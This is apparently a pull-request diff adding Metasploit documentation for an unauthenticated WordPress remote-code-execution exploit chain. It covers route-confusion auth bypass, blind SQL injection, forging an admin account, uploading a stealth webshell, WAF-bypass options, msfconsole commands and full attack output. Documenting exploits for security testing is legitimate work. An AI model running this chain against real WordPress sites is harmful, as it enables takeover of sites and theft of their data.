Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
167 changes: 167 additions & 0 deletions documentation/modules/exploit/multi/http/wp_wordpress_batch_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,167 @@
## Vulnerable Application

WordPress versions 6.8.0 through 6.8.5, 6.9.0 through 6.9.4, and 7.0.0 through 7.0.1
are vulnerable to an unauthenticated Remote Code Execution chain combining two flaws:

- **CVE-2026-63030**: REST API Batch Route Confusion — nested batch requests with an
invalid primer path (`http://:`) bypass authentication context, allowing unauthenticated
access to authenticated endpoints.
- **CVE-2026-60137**: Blind SQL Injection via the `author__not_in` / `author_exclude`
parameter in the REST API posts/categories endpoints. The parameter is cast to array
but individual elements are not sanitized before inclusion in the SQL WHERE clause.

The full RCE chain:

1. Route confusion via nested batch requests to bypass auth
2. Time-based blind SQLi to extract table prefix, admin ID, and credentials
3. UNION-based row forgery to seed oEmbed caches (turns read-only SQLi into DB writes)
4. Changeset elevation via re-entrant `parse_request()` to forge an administrator account
5. Authenticated plugin upload of a self-cleaning webshell
6. Command execution and cleanup

Fixed in WordPress 6.8.6, 6.9.5, and 7.0.2.

### Setup

Docker lab (recommended for testing):

```
git clone https://github.com/M4xSec/wp2shell-lab.git
cd wp2shell-lab/lab
docker compose up -d --build
```

This starts WordPress 6.9.0 on `http://localhost:8888` with auto-install
(admin/Summer2026!). The setup script creates a published post (required as
oEmbed anchor) and sets `FS_METHOD=direct` for plugin uploads.

Alternatively, install WordPress 6.9.0 manually on any LAMP/LEMP stack.

## Verification Steps

1. Start msfconsole
2. `use exploit/multi/http/wp_wordpress_batch_rce`
3. `set RHOSTS <target>`
4. `set RPORT <port>`
5. `set SSL false` (for local lab)
6. `set VHOST <hostname>`
7. `set TARGET 1`
8. `set PAYLOAD cmd/unix/generic`
9. `set CMD id`
10. `run`

The module will:
- Fingerprint the WordPress version
- Confirm blind SQLi with timing differential
- Extract the database version as proof
- Run the full RCE chain (SQLi -> oEmbed -> changeset -> admin -> shell -> execute)

## Options

### TARGETURI
WordPress base path. Default: `/`

### SLEEP_TIME
Number of seconds for the SLEEP() call in the blind SQLi timing oracle. Higher
values are more reliable on high-latency targets. Default: `3.0`

### ORACLE_ROUNDS
Number of timing probes to take the median of, reducing false positives from
network jitter. Default: `3`

### WAF_BYPASS
Enable Cloudflare WAF bypass. Uses colon primer (`:` instead of `http://:`),
`/wp-json/` permalink path instead of `?rest_route=`, JSON unicode escaping of
SQL keywords (`SLEEP` instead of `SLEEP`), and
Origin/Referer headers. Default: `false`
Comment on lines +74 to +76

### STEALTH_SHELL
Use a stealth webshell that authenticates via a custom HTTP header and receives
commands in POST body (never logged in access logs). When disabled, uses a
WordPress REST API route instead. Default: `true`

## Scenarios

### WordPress 6.9.0 on Docker (no WAF)

```
msf6 > use exploit/multi/http/wp_wordpress_batch_rce
msf6 exploit(multi/http/wp_wordpress_batch_rce) > set RHOSTS 127.0.0.1
msf6 exploit(multi/http/wp_wordpress_batch_rce) > set RPORT 8888
msf6 exploit(multi/http/wp_wordpress_batch_rce) > set SSL false
msf6 exploit(multi/http/wp_wordpress_batch_rce) > set VHOST localhost
msf6 exploit(multi/http/wp_wordpress_batch_rce) > set TARGET 1
msf6 exploit(multi/http/wp_wordpress_batch_rce) > set PAYLOAD cmd/unix/generic
msf6 exploit(multi/http/wp_wordpress_batch_rce) > set CMD id
msf6 exploit(multi/http/wp_wordpress_batch_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress version: 6.9.0
[+] Version 6.9.0 is in vulnerable range
[+] Batch route confirmed (200)
[*] Confirming blind SQLi (time-based differential)...
[*] fast=0.045s slow=3.038s delta=2.993s
[+] Blind SQLi CONFIRMED (delta=2.993s)
[*] Extracting DB version as PoC...
[*] extracting: 11.4
[*] extracting: 11.4.5-M
[*] extracting: 11.4.5-Maria
[*] extracting: 11.4.5-MariaDB-
[*] extracting: 11.4.5-MariaDB-ubu2
[*] extracting: 11.4.5-MariaDB-ubu2404
[+] DB version: 11.4.5-MariaDB-ubu2404
[+] The target is vulnerable. WordPress 6.9.0 | DB: 11.4.5-MariaDB-ubu2404 | SQLi confirmed
[*] [1/6] Calibrating timing oracle...
[+] SQLi confirmed (fast=0.042s slow=3.035s)
[*] [2/6] Recon: extracting table prefix...
[*] extracting: wp_p
[*] extracting: wp_posts
[+] Table prefix: wp_
[*] [2/6] Recon: locating administrator account...
[+] Admin ID: 1
[*] [3/6] Finding published post for oEmbed anchor...
[+] Anchor post: http://localhost:8888/hello-world/
[*] [3/6] Seeding oEmbed caches (SQLi -> DB writes)...
[*] [3/6] Recovering seeded oEmbed cache IDs...
[+] Cache IDs: [5, 6, 7]
[*] [4/6] Forging changeset elevation + creating administrator...
[+] Forged admin: w2s_a1b2c3:W2s!<random>
[*] [5/6] Logging in and deploying webshell...
[*] Collecting login page cookies...
[*] POSTing login credentials...
[*] Login response: HTTP 302
[+] Login verified — w2s_a1b2c3 is admin
[*] Stealth shell: POST body + header auth (X-WP-AbCd)
[*] Fetching plugin upload page for nonce...
[*] Got upload nonce: 1a2b3c4d5...
[*] Uploading webshell plugin...
[*] Upload response: HTTP 200
[*] Activating plugin at: /wp-admin/plugins.php?action=activate&...
[*] Activation response: HTTP 302
[+] Webshell deployed and activated
[*] [6/6] Executing payload...
[*] whoami response: HTTP 200 (42 bytes)
[+] RCE CONFIRMED — whoami: www-data
[*] Sending payload...
[+] Payload output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleaning up webshell...
[+] Webshell removed
```

### WordPress 6.9.0 behind ModSecurity WAF (WAF bypass enabled)

```
msf6 exploit(multi/http/wp_wordpress_batch_rce) > set RPORT 9999
msf6 exploit(multi/http/wp_wordpress_batch_rce) > set WAF_BYPASS true
msf6 exploit(multi/http/wp_wordpress_batch_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress version: 6.9.0
[+] Version 6.9.0 is in vulnerable range
[+] Batch route confirmed (200)
[*] Confirming blind SQLi (time-based differential)...
[*] fast=0.052s slow=3.047s delta=2.995s
[+] Blind SQLi CONFIRMED (delta=2.995s)
...
[+] RCE CONFIRMED — whoami: www-data
```
Loading
Loading